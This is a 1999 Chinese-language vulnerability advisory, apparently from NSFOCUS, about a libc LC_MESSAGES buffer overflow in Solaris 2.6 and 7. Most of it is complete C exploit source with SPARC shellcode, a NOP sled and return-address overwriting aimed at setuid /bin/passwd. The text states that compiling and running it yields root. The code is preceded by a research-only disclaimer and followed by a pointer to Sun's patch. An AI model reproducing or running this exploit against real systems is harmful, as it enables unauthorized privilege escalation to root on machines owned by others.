安全研究

安全漏洞
Sun Solaris ex_lobc(2.6/7)溢出漏洞

发布日期:1999-08-26
更新日期:1999-08-26

受影响系统:
Solaris 2.6
Solairs 7
不受影响系统:
Solaris 2.4
Solaris 2.5
描述:
这里揭示一个存在于Solaris 2.6和Solairs 7平台之上的溢出漏洞,
同时提供一个漏洞程序来获取Root权限。
附带的漏洞程序在Sparc和X86平台的Sun机器上都可以编译通过。

libc 溢出漏洞存在于LC_MESSAGES句柄,当你设置长串到LC_MESSAGES
然后调用/bin/sh,将会生成CORE文件,这是个很严重的问题。
这个长串包含了漏洞代码
在Solaris 2.6/7的机器上有这个漏洞,2.4/2.5的机器没有这漏洞。

附带的源程序是个获取Root权限的例子,在Solais 2.6 for Sparc
上测试通过。
这程序调用了 "/bin/passwd", 你也可以指定为其他的比如
"/bin/su" or "/bin/rsh"。


我们通过以下可以确定这漏洞的危险性:
1.在SUN环境下,用CC编译以下附带的漏洞源程序。
2.然后运行,你就得到了root。





测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

*/
#define EV          "LC_MESSAGES="
#define ADJUST      0
#define OFFSET      5392
#define STARTADR    400
#define NOP         0xa61cc013
#define RETS        600

char    x[80000];

char exploit_code[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2b\x0b\xda\xdc\xae\x15\x63\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
"\x94\x10\x20\x10\x94\x22\xa0\x10"
"\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

int i;
unsigned int ret_adr;

main()
{
    putenv("LANG=");
    memset(x,'x',70000);

    for (i = 0; i < ADJUST; i++) x[i]=0x40;
    for (i = ADJUST; i < 1000; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx\n",ret_adr);
    if ((ret_adr & 0xff) ==0 ){
        ret_adr -=16;
        printf("New jumping address : %lx\n",ret_adr);
    }
    for (i = ADJUST+RETS; i < RETS+600; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    memcpy(x,EV,strlen(EV));
    x[3000]=0;
    putenv(x);
    execl("/bin/passwd","passwd",(char *)0);
}





建议:
到www.sun.com下载相应patch





浏览次数:11942
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障